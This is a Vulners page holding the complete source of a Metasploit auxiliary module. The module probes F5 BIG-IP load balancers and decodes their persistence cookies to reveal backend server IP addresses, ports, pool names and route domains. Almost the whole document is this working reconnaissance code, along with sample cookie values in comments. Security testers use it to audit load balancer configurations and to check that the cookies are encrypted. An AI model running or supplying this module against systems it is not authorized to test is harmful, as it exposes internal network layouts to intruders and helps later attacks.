Lucene search
K

F5 BIG-IP Backend Cookie Disclosure

Identify F5 BIG-IP load balancers, leak backend information through inserted cookies

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP Backend Cookie Disclosure',  
'Description' => %q{  
This module identifies F5 BIG-IP load balancers and leaks backend information  
(pool name, routed domain, and backend servers' IP addresses and ports) through  
cookies inserted by the BIG-IP systems.  
},  
'Author' => [  
'Thanat0s <thanspam[at]trollprod.org>',  
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',  
'Nikita Oleksov <neoleksov[at]gmail.com>',  
'Denis Kolegov <dnkolegov[at]gmail.com>',  
'Paul-Emmanuel Raoul <[email protected]>'  
],  
'References' => [  
['URL', 'https://support.f5.com/csp/article/K6917'],  
['URL', 'https://support.f5.com/csp/article/K7784'],  
['URL', 'https://support.f5.com/csp/article/K14784'],  
['URL', 'https://support.f5.com/csp/article/K23254150']  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => []  
}  
)  
)  
  
register_options(  
[  
OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),  
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),  
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])  
]  
)  
end  
  
def change_endianness(value, size = 4)  
conversion = nil  
if size == 4  
conversion = [value].pack('V').unpack('N').first  
elsif size == 2  
conversion = [value].pack('v').unpack('n').first  
end  
conversion  
end  
  
def cookie_decode(cookie_value)  
backend = {}  
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./  
host = Regexp.last_match(1).to_i  
port = Regexp.last_match(2).to_i  
host = change_endianness(host)  
host = Rex::Socket.addr_itoa(host)  
port = change_endianness(port, 2)  
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/  
host = Regexp.last_match(1).to_i(16)  
port = Regexp.last_match(2).to_i  
host = Rex::Socket.addr_itoa(host)  
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/  
host = Regexp.last_match(1).to_i(16)  
port = Regexp.last_match(2).to_i  
host = Rex::Socket.addr_itoa(host, true)  
port = change_endianness(port, 2)  
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/  
host = Regexp.last_match(1).to_i(16)  
port = Regexp.last_match(2).to_i  
host = Rex::Socket.addr_itoa(host, true)  
else  
host = nil  
port = nil  
end  
  
backend[:host] = host.nil? ? nil : host  
backend[:port] = port.nil? ? nil : port  
backend  
end  
  
def fetch_cookie  
# Request a page and extract a F5 looking cookie  
cookie = {}  
res = send_request_raw('method' => 'GET', 'uri' => @uri)  
  
unless res.nil?  
# Get the SLB session IDs for all cases:  
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",  
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",  
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",  
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"  
  
regexp = /  
([~.\-\w]+)=(((?:\d+\.){2}\d+)|  
(rd\d+o0{20}f{4}\w+o\d{1,5})|  
(vi([a-f0-9]{32})\.(\d{1,5}))|  
(rd\d+o([a-f0-9]{32})o(\d{1,5})))  
(?:$|,|;|\s)  
/x  
m = res.get_cookies.match(regexp)  
cookie[:id] = m.nil? ? nil : m[1]  
cookie[:value] = m.nil? ? nil : m[2]  
end  
cookie  
end  
  
def run  
requests = datastore['REQUESTS']  
backends = []  
cookie_name = ''  
pool_name = ''  
route_domain = ''  
@uri = normalize_uri(target_uri.path.to_s)  
print_status("Starting request #{@uri}")  
  
(1..requests).each do |i|  
cookie = fetch_cookie # Get the cookie  
# If the cookie is not found, stop process  
if cookie.empty? || cookie[:id].nil?  
print_error('F5 BIG-IP load balancing cookie not found')  
return nil  
end  
  
# Print the cookie name on the first request  
if i == 1  
cookie_name = cookie[:id]  
print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")  
if cookie[:id].start_with?('BIGipServer')  
pool_name = cookie[:id].split('BIGipServer')[1]  
print_good("Load balancing pool name \"#{pool_name}\" found")  
end  
if cookie[:value].start_with?('rd')  
route_domain = cookie[:value].split('rd')[1].split('o')[0]  
print_good("Route domain \"#{route_domain}\" found")  
end  
end  
  
backend = cookie_decode(cookie[:value])  
unless backend[:host].nil? || backends.include?(backend)  
print_good("Backend #{backend[:host]}:#{backend[:port]} found")  
backends.push(backend)  
end  
end  
  
# Reporting found cookie name in database  
unless cookie_name.empty?  
report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)  
# Reporting found pool name in database  
unless pool_name.empty?  
report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)  
end  
# Reporting found route domain in database  
unless route_domain.empty?  
report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)  
end  
end  
# Reporting found backends in database  
unless backends.empty?  
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)  
end  
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError  
print_error('Network connection error')  
rescue ::OpenSSL::SSL::SSLError  
print_error('SSL/TLS connection error')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation